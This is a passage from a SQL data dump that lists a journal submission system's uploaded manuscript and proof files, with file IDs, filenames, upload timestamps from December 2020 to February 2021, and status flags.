08:29:09',1,1,0),(11211,6863,'6863-0-Manuscript-2020-12-11.docx',NULL,'2020-12-11 08:50:32',1,1,0),(11230,6873,'6873-0-Manuscript-2020-12-12.docx',NULL,'2020-12-12 13:01:47',1,1,0),(11232,6875,'6875-0-Manuscript-2020-12-13.docx',NULL,'2020-12-13 09:24:35',1,1,0),(11245,6886,'6886-0-Manuscript-2020-12-14.docx',NULL,'2020-12-14 05:51:28',1,1,0),(11246,6886,'6886-1-Manuscript-2020-12-14.esp',NULL,'2020-12-14 05:51:28',1,1,0),(11247,6886,'6886-2-Manuscript-2020-12-14.esp',NULL,'2020-12-14 05:51:28',1,1,0),(11248,6886,'6886-3-Manuscript-2020-12-14.esp',NULL,'2020-12-14 05:51:28',1,1,0),(11249,6886,'6886-4-Manuscript-2020-12-14.docx',NULL,'2020-12-14 05:51:28',1,1,0),(11250,6887,'6887-0-Manuscript-2020-12-14.docx',NULL,'2020-12-14 07:41:33',1,1,0),(11272,6905,'6905-0-Manuscript-2020-12-15.docx',NULL,'2020-12-15 14:50:27',1,1,0),(11275,6908,'6908-0-Manuscript-2020-12-16.doc',NULL,'2020-12-16 02:40:31',1,1,0),(11276,6909,'6909-0-Manuscript-2020-12-16.pdf',NULL,'2020-12-16 05:04:37',1,1,0),(11277,6910,'6910-0-Manuscript-2020-12-16.docx',NULL,'2020-12-16 07:19:05',1,1,0),(11282,6914,'6914-0-Manuscript-2020-12-16.docx',NULL,'2020-12-16 17:42:54',1,1,0),(11283,6915,'6915-0-Manuscript-2020-12-16.doc',NULL,'2020-12-16 20:13:48',1,1,0),(11284,6915,'6915-1-Manuscript-2020-12-16.doc',NULL,'2020-12-16 20:13:48',1,1,0),(11285,6915,'6915-2-Manuscript-2020-12-16.doc',NULL,'2020-12-16 20:13:48',1,1,0),(11286,6915,'6915-3-Manuscript-2020-12-16.doc',NULL,'2020-12-16 20:13:48',1,1,0),(11302,6929,'6929-0-Manuscript-2020-12-18.docx',NULL,'2020-12-18 21:02:52',1,1,0),(11305,6933,'6933-0-Manuscript-2020-12-19.docx',NULL,'2020-12-19 08:50:07',1,1,0),(11306,6934,'6934-0-Manuscript-2020-12-19.docx',NULL,'2020-12-19 10:50:40',1,1,0),(11320,6944,'6944-0-Manuscript-2020-12-20.docx',NULL,'2020-12-20 22:37:32',1,1,0),(11329,6953,'6953-0-Manuscript-2020-12-21.docx',NULL,'2020-12-21 13:58:21',1,1,0),(11330,6953,'6953-1-Manuscript-2020-12-21.docx',NULL,'2020-12-21 13:58:21',1,1,0),(11348,6959,'6959-0-Manuscript-2020-12-23.docx',NULL,'2020-12-23 02:01:36',1,1,0),(11349,6960,'6960-0-Manuscript-2020-12-23.docx',NULL,'2020-12-23 03:53:04',1,1,0),(11350,6960,'6960-1-Manuscript-2020-12-23.docx',NULL,'2020-12-23 03:53:05',1,1,0),(11356,6572,'6572-798-Manuscript-2020-12-23.docx',NULL,'2020-12-23 13:38:59',1,1,0),(11358,6964,'6964-0-Manuscript-2020-12-23.docx',NULL,'2020-12-23 18:51:43',1,1,0),(11363,6683,'6683-339-Manuscript-2020-12-24.doc',NULL,'2020-12-24 15:41:44',1,1,0),(11364,6683,'6683-234-Manuscript-2020-12-24.doc',NULL,'2020-12-24 15:41:58',1,1,0),(11365,6683,'6683-1027-Manuscript-2020-12-24.doc',NULL,'2020-12-24 15:42:15',1,1,0),(11368,6971,'6971-0-Manuscript-2020-12-25.docx',NULL,'2020-12-25 03:29:48',1,1,0),(11369,6971,'6971-1-Manuscript-2020-12-25.docx',NULL,'2020-12-25 03:29:48',1,1,0),(11371,6973,'6973-0-Manuscript-2020-12-26.docx',NULL,'2020-12-26 10:42:36',1,1,1),(11376,6976,'6976-0-Manuscript-2020-12-26.docx',NULL,'2020-12-26 19:17:47',1,1,0),(11377,6977,'6977-0-Manuscript-2020-12-26.docx',NULL,'2020-12-26 21:48:42',1,1,0),(11379,6979,'6979-0-Manuscript-2020-12-27.doc',NULL,'2020-12-27 08:49:00',1,1,0),(11384,6984,'6984-0-Manuscript-2020-12-28.docx',NULL,'2020-12-28 07:38:01',1,1,0),(11385,6984,'6984-1-Manuscript-2020-12-28.docx',NULL,'2020-12-28 07:38:01',1,1,0),(11386,6984,'6984-2-Manuscript-2020-12-28.docx',NULL,'2020-12-28 07:38:01',1,1,0),(11387,6984,'6984-3-Manuscript-2020-12-28.jpg',NULL,'2020-12-28 07:38:01',1,1,0),(11388,6984,'6984-4-Manuscript-2020-12-28.jpg',NULL,'2020-12-28 07:38:01',1,1,0),(11389,6984,'6984-5-Manuscript-2020-12-28.jpg',NULL,'2020-12-28 07:38:01',1,1,0),(11390,6984,'6984-6-Manuscript-2020-12-28.jpg',NULL,'2020-12-28 07:38:01',1,1,0),(11391,6984,'6984-7-Manuscript-2020-12-28.jpg',NULL,'2020-12-28 07:38:01',1,1,0),(11392,6984,'6984-8-Manuscript-2020-12-28.docx',NULL,'2020-12-28 07:38:01',1,1,0),(11396,6986,'6986-0-Manuscript-2020-12-28.doc',NULL,'2020-12-28 13:14:05',1,1,0),(11406,6989,'6989-0-Manuscript-2020-12-29.docx',NULL,'2020-12-29 07:49:56',1,1,0),(11411,6992,'6992-0-Manuscript-2020-12-29.docx',NULL,'2020-12-29 11:34:36',1,1,0),(11416,6996,'6996-0-Manuscript-2020-12-29.docx',NULL,'2020-12-29 17:56:27',1,1,0),(11419,6999,'6999-0-Manuscript-2020-12-30.docx',NULL,'2020-12-30 02:43:53',1,1,0),(11420,6999,'6999-1-Manuscript-2020-12-30.docx',NULL,'2020-12-30 02:43:53',1,1,0),(11421,6350,'6350-1998-Manuscript-proof-submission-2020-12-30.pdf',NULL,'2020-12-30 02:52:42',1,3,0),(11422,6350,'6350-1586-Manuscript-proof-submission-2020-12-30.pdf',NULL,'2020-12-30 02:52:45',1,3,0),(11423,6350,'6350-1273-Manuscript-proof-submission-2020-12-30.pdf',NULL,'2020-12-30 02:52:47',1,3,0),(11443,7009,'7009-0-Manuscript-2020-12-30.docx',NULL,'2020-12-30 08:24:32',1,1,0),(11448,7014,'7014-0-Manuscript-2020-12-30.docx',NULL,'2020-12-30 12:46:35',1,1,0),(11479,7022,'7022-0-Manuscript-2021-01-01.docx',NULL,'2021-01-01 09:09:22',1,1,0),(11489,6863,'6863-1983-Manuscript-proof-submission-2021-01-02.png',NULL,'2021-01-02 06:48:23',1,3,0),(11490,7029,'7029-0-Manuscript-2021-01-02.docx',NULL,'2021-01-02 08:06:34',1,1,0),(11491,7029,'7029-1-Manuscript-2021-01-02.doc',NULL,'2021-01-02 08:06:34',1,1,0),(11492,7029,'7029-2-Manuscript-2021-01-02.jpg',NULL,'2021-01-02 08:06:34',1,1,0),(11496,7030,'7030-0-Manuscript-2021-01-02.docx',NULL,'2021-01-02 15:55:06',1,1,0),(11497,7030,'7030-1-Manuscript-2021-01-02.docx',NULL,'2021-01-02 15:55:06',1,1,0),(11498,7030,'7030-2-Manuscript-2021-01-02.docx',NULL,'2021-01-02 15:55:06',1,1,0),(11514,7034,'7034-0-Manuscript-2021-01-02.docx',NULL,'2021-01-02 20:10:49',1,1,0),(11520,7039,'7039-0-Manuscript-2021-01-04.docx',NULL,'2021-01-04 08:11:56',1,1,0),(11528,6770,'6770-796-Manuscript-proof-submission-2021-01-04.pdf',NULL,'2021-01-04 13:30:27',1,3,0),(11542,7050,'7050-0-Manuscript-2021-01-05.pdf',NULL,'2021-01-05 06:23:31',1,1,0),(11563,7060,'7060-0-Manuscript-2021-01-06.docx',NULL,'2021-01-06 13:03:51',1,1,0),(11564,7060,'7060-1-Manuscript-2021-01-06.docx',NULL,'2021-01-06 13:03:51',1,1,0),(11565,7060,'7060-2-Manuscript-2021-01-06.docx',NULL,'2021-01-06 13:03:51',1,1,0),(11566,7060,'7060-3-Manuscript-2021-01-06.docx',NULL,'2021-01-06 13:03:51',1,1,0),(11567,7060,'7060-4-Manuscript-2021-01-06.docx',NULL,'2021-01-06 13:03:51',1,1,0),(11568,7060,'7060-5-Manuscript-2021-01-06.docx',NULL,'2021-01-06 13:03:51',1,1,0),(11569,7060,'7060-6-Manuscript-2021-01-06.docx',NULL,'2021-01-06 13:03:51',1,1,0),(11571,7062,'7062-0-Manuscript-2021-01-06.docx',NULL,'2021-01-06 17:04:26',1,1,0),(11572,7063,'7063-0-Manuscript-2021-01-06.docx',NULL,'2021-01-06 21:20:49',1,1,0),(11584,7067,'7067-0-Manuscript-2021-01-07.docx',NULL,'2021-01-07 16:51:18',1,1,0),(11585,7067,'7067-1-Manuscript-2021-01-07.pdf',NULL,'2021-01-07 16:51:18',1,1,0),(11587,7069,'7069-0-Manuscript-2021-01-08.docx',NULL,'2021-01-08 03:26:28',1,1,0),(11588,7069,'7069-1-Manuscript-2021-01-08.docx',NULL,'2021-01-08 03:26:28',1,1,0),(11589,7070,'7070-0-Manuscript-2021-01-08.docx',NULL,'2021-01-08 04:01:09',1,1,0),(11590,7070,'7070-1-Manuscript-2021-01-08.docx',NULL,'2021-01-08 04:01:09',1,1,0),(11592,7072,'7072-0-Manuscript-2021-01-08.docx',NULL,'2021-01-08 05:47:05',1,1,0),(11593,7073,'7073-0-Manuscript-2021-01-08.docx',NULL,'2021-01-08 06:00:42',1,1,1),(11594,6944,'6944-9-Manuscript-proof-submission-2021-01-08.rar',NULL,'2021-01-08 08:13:12',1,3,0),(11595,6191,'6191-1781-Manuscript-proof-submission-2021-01-08.docx',NULL,'2021-01-08 08:24:40',1,3,0),(11596,6351,'6351-1390-Manuscript-proof-submission-2021-01-08.docx',NULL,'2021-01-08 08:28:59',1,3,0),(11597,6351,'6351-1203-Manuscript-proof-submission-2021-01-08.docx',NULL,'2021-01-08 08:28:59',1,3,0),(11598,6351,'6351-746-Manuscript-proof-submission-2021-01-08.docx',NULL,'2021-01-08 08:28:59',1,3,0),(11599,6351,'6351-1736-Manuscript-proof-submission-2021-01-08.docx',NULL,'2021-01-08 08:28:59',1,3,0),(11600,6887,'6887-660-Manuscript-proof-submission-2021-01-08.rar',NULL,'2021-01-08 08:54:00',1,3,0),(11605,6351,'6351-1194-Manuscript-proof-submission-2021-01-09.docx',NULL,'2021-01-09 06:50:47',1,3,0),(11606,6351,'6351-1546-Manuscript-proof-submission-2021-01-09.docx',NULL,'2021-01-09 06:50:47',1,3,0),(11607,6351,'6351-1183-Manuscript-proof-submission-2021-01-09.docx',NULL,'2021-01-09 06:50:47',1,3,0),(11608,6351,'6351-1868-Manuscript-proof-submission-2021-01-09.docx',NULL,'2021-01-09 06:50:47',1,3,0),(11609,6351,'6351-373-Manuscript-proof-submission-2021-01-09.docx',NULL,'2021-01-09 06:50:49',1,3,0),(11610,6351,'6351-1516-Manuscript-proof-submission-2021-01-09.docx',NULL,'2021-01-09 06:50:49',1,3,0),(11611,6351,'6351-1790-Manuscript-proof-submission-2021-01-09.docx',NULL,'2021-01-09 06:50:49',1,3,0),(11612,6351,'6351-1985-Manuscript-proof-submission-2021-01-09.docx',NULL,'2021-01-09 06:50:49',1,3,0),(11613,6466,'6466-1270-Manuscript-proof-submission-2021-01-09.docx',NULL,'2021-01-09 06:52:45',1,3,0),(11614,6466,'6466-1746-Manuscript-proof-submission-2021-01-09.docx',NULL,'2021-01-09 06:52:45',1,3,0),(11615,6466,'6466-1202-Manuscript-proof-submission-2021-01-09.docx',NULL,'2021-01-09 06:52:45',1,3,0),(11616,6466,'6466-528-Manuscript-proof-submission-2021-01-09.docx',NULL,'2021-01-09 06:52:45',1,3,0),(11618,7077,'7077-0-Manuscript-2021-01-10.pdf',NULL,'2021-01-10 05:38:12',1,1,0),(11621,7080,'7080-0-Manuscript-2021-01-10.pdf',NULL,'2021-01-10 20:26:01',1,1,0),(11633,6707,'6707-1004-Manuscript-proof-submission-2021-01-11.docx',NULL,'2021-01-11 10:05:06',1,3,0),(11634,6707,'6707-417-Manuscript-proof-submission-2021-01-11.docx',NULL,'2021-01-11 10:05:06',1,3,0),(11635,6707,'6707-576-Manuscript-proof-submission-2021-01-11.PNG',NULL,'2021-01-11 10:05:06',1,3,0),(11638,7084,'7084-0-Manuscript-2021-01-11.docx',NULL,'2021-01-11 12:27:22',1,1,0),(11642,7088,'7088-0-Manuscript-2021-01-12.docx',NULL,'2021-01-12 04:30:44',1,1,0),(11664,7089,'7089-0-Manuscript-2021-01-12.docx',NULL,'2021-01-12 07:28:22',1,1,0),(11669,6996,'6996-1689-Manuscript-proof-submission-2021-01-12.rar',NULL,'2021-01-12 10:26:51',1,3,0),(11670,7093,'7093-0-Manuscript-2021-01-12.pdf',NULL,'2021-01-12 11:06:50',1,1,0),(11671,6971,'6971-982-Manuscript-2021-01-12.docx',NULL,'2021-01-12 16:40:09',1,1,0),(11673,7095,'7095-0-Manuscript-2021-01-12.docx',NULL,'2021-01-12 19:39:12',1,1,0),(11679,7098,'7098-0-Manuscript-2021-01-13.doc',NULL,'2021-01-13 10:09:28',1,1,0),(11685,7101,'7101-0-Manuscript-2021-01-13.docx',NULL,'2021-01-13 17:43:15',1,1,0),(11686,7101,'7101-1-Manuscript-2021-01-13.docx',NULL,'2021-01-13 17:43:15',1,1,0),(11687,7102,'7102-0-Manuscript-2021-01-13.docx',NULL,'2021-01-13 19:47:05',1,1,0),(11689,7104,'7104-0-Manuscript-2021-01-13.docx',NULL,'2021-01-13 20:52:38',1,1,0),(11705,7107,'7107-0-Manuscript-2021-01-14.docx',NULL,'2021-01-14 18:36:53',1,1,0),(11709,7110,'7110-0-Manuscript-2021-01-15.docx',NULL,'2021-01-15 05:47:12',1,1,0),(11710,7110,'7110-1-Manuscript-2021-01-15.jpg',NULL,'2021-01-15 05:47:12',1,1,0),(11712,7111,'7111-0-Manuscript-2021-01-15.docx',NULL,'2021-01-15 13:32:42',1,1,0),(11713,7111,'7111-1-Manuscript-2021-01-15.docx',NULL,'2021-01-15 13:32:42',1,1,0),(11714,7111,'7111-2-Manuscript-2021-01-15.docx',NULL,'2021-01-15 13:32:42',1,1,0),(11717,7114,'7114-0-Manuscript-2021-01-16.docx',NULL,'2021-01-16 08:59:40',1,1,0),(11718,7114,'7114-1-Manuscript-2021-01-16.pdf',NULL,'2021-01-16 08:59:40',1,1,0),(11719,7110,'7110-162-Manuscript-2021-01-16.doc',NULL,'2021-01-16 10:33:29',1,1,0),(11720,7115,'7115-0-Manuscript-2021-01-16.docx',NULL,'2021-01-16 11:34:51',1,1,0),(11721,7115,'7115-1-Manuscript-2021-01-16.docx',NULL,'2021-01-16 11:34:52',1,1,0),(11723,7117,'7117-0-Manuscript-2021-01-17.doc',NULL,'2021-01-17 14:25:56',1,1,0),(11727,7121,'7121-0-Manuscript-2021-01-17.docx',NULL,'2021-01-17 21:30:46',1,1,0),(11737,7125,'7125-0-Manuscript-2021-01-18.docx',NULL,'2021-01-18 04:13:58',1,1,0),(11738,7125,'7125-1-Manuscript-2021-01-18.docx',NULL,'2021-01-18 04:13:58',1,1,0),(11739,7125,'7125-2-Manuscript-2021-01-18.docx',NULL,'2021-01-18 04:13:58',1,1,0),(11743,5197,'5197-38-Manuscript-proof-submission-2021-01-18.pdf',NULL,'2021-01-18 08:02:45',1,3,0),(11745,7128,'7128-0-Manuscript-2021-01-18.docx',NULL,'2021-01-18 08:37:14',1,1,0),(11746,6242,'6242-340-Manuscript-proof-submission-2021-01-18.pdf',NULL,'2021-01-18 08:44:09',1,3,0),(11747,6253,'6253-807-Manuscript-proof-submission-2021-01-18.pdf',NULL,'2021-01-18 08:44:46',1,3,0),(11751,7131,'7131-0-Manuscript-2021-01-18.doc',NULL,'2021-01-18 14:51:52',1,1,0),(11752,7132,'7132-0-Manuscript-2021-01-18.docx',NULL,'2021-01-18 16:18:40',1,1,0),(11753,7132,'7132-1-Manuscript-2021-01-18.docx',NULL,'2021-01-18 16:18:40',1,1,0),(11754,7132,'7132-2-Manuscript-2021-01-18.docx',NULL,'2021-01-18 16:18:40',1,1,0),(11755,7132,'7132-3-Manuscript-2021-01-18.pdf',NULL,'2021-01-18 16:18:40',1,1,0),(11758,7134,'7134-0-Manuscript-2021-01-18.docx',NULL,'2021-01-18 23:46:31',1,1,0),(11759,7135,'7135-0-Manuscript-2021-01-19.docx',NULL,'2021-01-19 05:39:44',1,1,1),(11760,6934,'6934-101-Manuscript-proof-submission-2021-01-19.rar',NULL,'2021-01-19 06:49:34',1,3,0),(11768,6989,'6989-1678-Manuscript-proof-submission-2021-01-19.rar',NULL,'2021-01-19 10:24:36',1,3,0),(11779,7145,'7145-0-Manuscript-2021-01-20.docx',NULL,'2021-01-20 04:50:38',1,1,0),(11781,7014,'7014-477-Manuscript-proof-submission-2021-01-20.rar',NULL,'2021-01-20 05:10:30',1,3,0),(11791,7062,'7062-618-Manuscript-proof-submission-2021-01-20.rar',NULL,'2021-01-20 09:36:10',1,3,0),(11792,6843,'6843-959-Manuscript-2021-01-20.docx',NULL,'2021-01-20 10:10:42',1,1,0),(11793,6843,'6843-1061-Manuscript-2021-01-20.docx',NULL,'2021-01-20 10:12:57',1,2,0),(11794,6971,'6971-962-Manuscript-2021-01-20.docx',NULL,'2021-01-20 10:13:31',1,2,0),(11799,7150,'7150-0-Manuscript-2021-01-21.docx',NULL,'2021-01-21 04:12:08',1,1,0),(11801,7151,'7151-0-Manuscript-2021-01-21.docx',NULL,'2021-01-21 04:44:48',1,1,0),(11818,7158,'7158-0-Manuscript-2021-01-21.docx',NULL,'2021-01-21 10:10:58',1,1,0),(11819,7159,'7159-0-Manuscript-2021-01-21.docx',NULL,'2021-01-21 10:31:15',1,1,0),(11820,7160,'7160-0-Manuscript-2021-01-21.docx',NULL,'2021-01-21 10:53:36',1,1,0),(11824,7163,'7163-0-Manuscript-2021-01-21.doc',NULL,'2021-01-21 14:13:03',1,1,0),(11825,7164,'7164-0-Manuscript-2021-01-21.docx',NULL,'2021-01-21 16:00:34',1,1,0),(11826,7165,'7165-0-Manuscript-2021-01-21.docx',NULL,'2021-01-21 16:07:59',1,1,0),(11827,7165,'7165-1-Manuscript-2021-01-21.docx',NULL,'2021-01-21 16:07:59',1,1,0),(11828,7165,'7165-2-Manuscript-2021-01-21.docx',NULL,'2021-01-21 16:07:59',1,1,0),(11829,7166,'7166-0-Manuscript-2021-01-21.docx',NULL,'2021-01-21 17:09:40',1,1,0),(11832,6862,'6862-358-Manuscript-proof-submission-2021-01-22.pdf',NULL,'2021-01-22 04:21:11',1,3,0),(11834,6915,'6915-1580-Manuscript-proof-submission-2021-01-22.docx',NULL,'2021-01-22 04:50:01',1,3,0),(11835,6915,'6915-20-Manuscript-proof-submission-2021-01-22.docx',NULL,'2021-01-22 04:50:01',1,3,0),(11836,6915,'6915-2013-Manuscript-proof-submission-2021-01-22.docx',NULL,'2021-01-22 04:50:01',1,3,0),(11870,7182,'7182-0-Manuscript-2021-01-22.docx',NULL,'2021-01-22 20:58:26',1,1,0),(11871,7182,'7182-1-Manuscript-2021-01-22.jpg',NULL,'2021-01-22 20:58:26',1,1,0),(11872,7182,'7182-2-Manuscript-2021-01-22.jpeg',NULL,'2021-01-22 20:58:26',1,1,0),(11878,7186,'7186-0-Manuscript-2021-01-23.docx',NULL,'2021-01-23 05:58:19',1,1,0),(11882,7189,'7189-0-Manuscript-2021-01-24.docx',NULL,'2021-01-24 13:50:34',1,1,0),(11883,7189,'7189-1-Manuscript-2021-01-24.docx',NULL,'2021-01-24 13:50:34',1,1,0),(11884,7189,'7189-2-Manuscript-2021-01-24.docx',NULL,'2021-01-24 13:50:34',1,1,0),(11902,7194,'7194-0-Manuscript-2021-01-25.dot',NULL,'2021-01-25 06:36:04',1,1,0),(11912,7009,'7009-804-Manuscript-proof-submission-2021-01-25.zip',NULL,'2021-01-25 08:52:00',1,3,0),(11914,7009,'7009-Manuscript-2021-01-25-vern-ipjnn-20-7009.rar',NULL,'2021-01-25 11:24:27',1,3,1),(11916,6915,'6915-Manuscript-2021-01-25-v8al-graphic-completed.pdf',NULL,'2021-01-25 12:01:52',1,3,0),(11933,7204,'7204-1-Manuscript-2021-01-26.docx',NULL,'2021-01-26 04:08:54',1,1,0),(11934,7204,'7204-2-Manuscript-2021-01-26.docx',NULL,'2021-01-26 04:08:54',1,1,0),(11935,7204,'7204-3-Manuscript-2021-01-26.jpg',NULL,'2021-01-26 04:08:54',1,1,0),(11936,7204,'7204-4-Manuscript-2021-01-26.jpg',NULL,'2021-01-26 04:08:54',1,1,0),(11937,7204,'7204-5-Manuscript-2021-01-26.docx',NULL,'2021-01-26 04:08:54',1,1,0),(11938,7204,'7204-6-Manuscript-2021-01-26.pdf',NULL,'2021-01-26 04:08:54',1,1,0),(11939,6775,'6775-545-Manuscript-proof-submission-2021-01-26.pdf',NULL,'2021-01-26 07:48:09',1,3,0),(11940,6689,'6689-360-Manuscript-proof-submission-2021-01-26.pdf',NULL,'2021-01-26 07:51:46',1,3,0),(11943,6572,'6572-987-Manuscript-proof-submission-2021-01-26.pdf',NULL,'2021-01-26 07:53:49',1,3,0),(11944,6797,'6797-1003-Manuscript-proof-submission-2021-01-26.pdf',NULL,'2021-01-26 07:54:51',1,3,0),(11952,7062,'7062-Manuscript-2021-01-27-qbza-iphsj-21-7062.rar',NULL,'2021-01-27 05:13:22',1,3,1),(11953,7014,'7014-Manuscript-2021-01-27-okly-iphsj-21-7014.rar',NULL,'2021-01-27 05:14:28',1,3,1),(11954,6989,'6989-Manuscript-2021-01-27-rqun-iphsj-20-6989.rar',NULL,'2021-01-27 05:15:37',1,3,1),(11955,6996,'6996-Manuscript-2021-01-27-sqlr-iphsj-20-6996.rar',NULL,'2021-01-27 05:16:41',1,3,1),(11967,7102,'7102-1076-Manuscript-proof-submission-2021-01-27.rar',NULL,'2021-01-27 09:21:07',1,3,0),(11983,6996,'6996-Manuscript-2021-01-27-l54j-graphic-completed.pdf',NULL,'2021-01-27 12:33:30',1,3,0),(11984,7125,'7125-1226-Manuscript-2021-01-27.docx',NULL,'2021-01-27 13:44:23',1,1,0),(11985,7125,'7125-48-Manuscript-2021-01-27.docx',NULL,'2021-01-27 13:45:12',1,1,0),(11986,7125,'7125-554-Manuscript-2021-01-27.docx',NULL,'2021-01-27 13:45:12',1,1,0),(11987,7125,'7125-1292-Manuscript-2021-01-27.docx',NULL,'2021-01-27 13:46:05',1,1,0),(12014,6549,'6549-1370-Manuscript-proof-submission-2021-01-28.docx',NULL,'2021-01-28 06:13:56',1,3,0),(12015,6549,'6549-1561-Manuscript-proof-submission-2021-01-28.docx',NULL,'2021-01-28 06:13:56',1,3,0),(12017,6915,'6915-Manuscript-2021-01-28-s3rf-move-pdf-making.pdf',NULL,'2021-01-28 07:56:16',1,3,0),(12019,6549,'6549-Manuscript-2021-01-28-1lmw-rsuite-completed.pdf',NULL,'2021-01-28 08:59:06',1,3,1),(12022,6549,'6549-Manuscript-2021-01-28-r87l.pdf',NULL,'2021-01-28 09:37:47',1,3,1),(12026,7009,'7009-Manuscript-2021-01-29-xm4k-graphic-completed.pdf',NULL,'2021-01-29 04:57:42',1,3,0),(12027,7102,'7102-Manuscript-2021-01-29-y09z-iphsj-21-7102.rar',NULL,'2021-01-29 06:14:49',1,3,1),(12028,7009,'7009-Manuscript-2021-01-29-3fu6.pdf',NULL,'2021-01-29 06:50:29',1,3,1),(12029,7009,'7009-Manuscript-2021-01-29-tify.pdf',NULL,'2021-01-29 06:51:19',1,3,1),(12065,7257,'7257-0-Manuscript-2021-01-30.docx',NULL,'2021-01-30 15:45:04',1,1,0),(12070,7261,'7261-0-Manuscript-2021-01-31.docx',NULL,'2021-01-31 04:13:10',1,1,0),(12076,6784,'6784-1676-Manuscript-2021-01-31.docx',NULL,'2021-01-31 07:40:30',1,2,0),(12094,6540,'6540-73-Manuscript-proof-submission-2021-02-01.docx',NULL,'2021-02-01 08:42:35',1,3,0),(12095,6540,'6540-1877-Manuscript-proof-submission-2021-02-01.docx',NULL,'2021-02-01 08:42:35',1,3,0),(12096,6915,'6915-1050-Manuscript-proof-submission-2021-02-01.docx',NULL,'2021-02-01 08:49:31',1,3,0),(12097,6915,'6915-1733-Manuscript-proof-submission-2021-02-01.docx',NULL,'2021-02-01 08:49:31',1,3,0),(12098,6984,'6984-1863-Manuscript-proof-submission-2021-02-01.docx',NULL,'2021-02-01 08:55:09',1,3,1),(12099,6984,'6984-1976-Manuscript-proof-submission-2021-02-01.docx',NULL,'2021-02-01 08:55:09',1,3,1),(12102,7022,'7022-1031-Manuscript-proof-submission-2021-02-01.rar',NULL,'2021-02-01 09:28:24',1,3,0),(12103,7111,'7111-917-Manuscript-proof-submission-2021-02-01.rar',NULL,'2021-02-01 09:29:49',1,3,0),(12104,7128,'7128-733-Manuscript-proof-submission-2021-02-01.rar',NULL,'2021-02-01 09:30:09',1,3,0),(12105,7128,'7128-1248-Manuscript-proof-submission-2021-02-01.rar',NULL,'2021-02-01 09:30:12',1,3,0),(12106,7125,'7125-1341-Manuscript-proof-submission-2021-02-01.rar',NULL,'2021-02-01 09:34:26',1,3,0),(12107,7117,'7117-553-Manuscript-proof-submission-2021-02-01.rar',NULL,'2021-02-01 09:35:02',1,3,0),(12110,7098,'7098-1111-Manuscript-proof-submission-2021-02-01.rar',NULL,'2021-02-01 09:35:46',1,3,0),(12111,7089,'7089-88-Manuscript-proof-submission-2021-02-01.rar',NULL,'2021-02-01 09:36:17',1,3,0),(12112,7111,'7111-Manuscript-2021-02-01-8ym9-iphsj-21-7111.rar',NULL,'2021-02-01 09:36:33',1,3,1),(12113,7022,'7022-Manuscript-2021-02-01-qesl-iphsj-21-7022.rar',NULL,'2021-02-01 09:41:20',1,3,1),(12114,7128,'7128-Manuscript-2021-02-01-dlzu-iphsj-21-7128.rar',NULL,'2021-02-01 09:44:45',1,3,1),(12115,6191,'6191-1613-Manuscript-proof-submission-2021-02-01.pdf',NULL,'2021-02-01 09:45:09',1,3,0),(12116,6466,'6466-499-Manuscript-proof-submission-2021-02-01.pdf',NULL,'2021-02-01 09:45:45',1,3,0),(12119,6984,'6984-Manuscript-2021-02-01-sgtd-rsuite-completed.pdf',NULL,'2021-02-01 12:30:59',1,3,1),(12122,7089,'7089-Manuscript-2021-02-01-s08h-iphsj-21-7089.rar',NULL,'2021-02-01 12:51:13',1,3,0),(12123,7089,'7089-Manuscript-2021-02-01-f572-iphsj-21-7089.rar',NULL,'2021-02-01 12:52:06',1,3,1),(12124,7117,'7117-Manuscript-2021-02-01-914d-iphsj-21-7117.rar',NULL,'2021-02-01 12:54:24',1,3,1),(12125,7125,'7125-Manuscript-2021-02-01-5fcw-iphsj-21-7125.rar',NULL,'2021-02-01 12:55:48',1,3,1),(12126,7098,'7098-Manuscript-2021-02-01-v7q2-iphsj-21-7098.rar',NULL,'2021-02-01 12:57:03',1,3,1),(12128,7273,'7273-0-Manuscript-2021-02-01.pdf',NULL,'2021-02-01 19:00:37',1,1,0),(12130,7275,'7275-0-Manuscript-2021-02-02.docx',NULL,'2021-02-02 06:16:28',1,1,0),(12135,6784,'6784-545-Manuscript-proof-submission-2021-02-02.zip',NULL,'2021-02-02 08:17:16',1,3,0),(12136,6549,'6549-1453-Manuscript-proof-submission-2021-02-02.docx',NULL,'2021-02-02 08:20:24',1,3,1),(12137,7279,'7279-0-Manuscript-2021-02-02.docx',NULL,'2021-02-02 08:20:56',1,1,0),(12138,6239,'6239-1613-Manuscript-proof-submission-2021-02-02.docx',NULL,'2021-02-02 08:46:03',1,3,0),(12144,7283,'7283-0-Manuscript-2021-02-02.docx',NULL,'2021-02-02 17:20:14',1,1,0),(12147,7134,'7134-1245-Manuscript-proof-submission-2021-02-03.docx',NULL,'2021-02-03 04:31:49',1,3,0),(12150,7145,'7145-1042-Manuscript-proof-submission-2021-02-03.docx',NULL,'2021-02-03 04:56:21',1,3,0),(12153,7286,'7286-0-Manuscript-2021-02-03.docx',NULL,'2021-02-03 06:15:20',1,1,0),(12161,7039,'7039-1156-Manuscript-proof-submission-2021-02-03.docx',NULL,'2021-02-03 09:12:45',1,3,0),(12164,7067,'7067-609-Manuscript-proof-submission-2021-02-03.docx',NULL,'2021-02-03 11:27:26',1,3,0),(12165,7067,'7067-1442-Manuscript-proof-submission-2021-02-03.docx',NULL,'2021-02-03 11:27:27',1,3,0),(12166,7067,'7067-1934-Manuscript-proof-submission-2021-02-03.docx',NULL,'2021-02-03 11:27:27',1,3,0),(12167,7067,'7067-1951-Manuscript-proof-submission-2021-02-03.docx',NULL,'2021-02-03 11:27:27',1,3,0),(12170,7088,'7088-1543-Manuscript-proof-submission-2021-02-03.docx',NULL,'2021-02-03 12:45:59',1,3,1),(12171,7088,'7088-1816-Manuscript-proof-submission-2021-02-03.docx',NULL,'2021-02-03 12:45:59',1,3,1),(12173,7290,'7290-0-Manuscript-2021-02-03.docx',NULL,'2021-02-03 12:55:32',1,1,0),(12174,7290,'7290-1-Manuscript-2021-02-03.docx',NULL,'2021-02-03 12:55:32',1,1,0),(12175,7290,'7290-2-Manuscript-2021-02-03.docx',NULL,'2021-02-03 12:55:32',1,1,0),(12176,7290,'7290-3-Manuscript-2021-02-03.docx',NULL,'2021-02-03 12:55:32',1,1,0),(12177,7290,'7290-4-Manuscript-2021-02-03.pptx',NULL,'2021-02-03 12:55:32',1,1,0),(12178,7145,'7145-Manuscript-2021-02-03-wf73-ipaom-21-7145.docx',NULL,'2021-02-03 15:11:09',1,3,0),(12179,7067,'7067-Manuscript-2021-02-03-4p12-IPJUS-21-7067.rar',NULL,'2021-02-03 15:42:34',1,3,1),(12180,7291,'7291-0-Manuscript-2021-02-03.docx',NULL,'2021-02-03 20:24:38',1,1,0),(12181,7291,'7291-1-Manuscript-2021-02-03.pdf',NULL,'2021-02-03 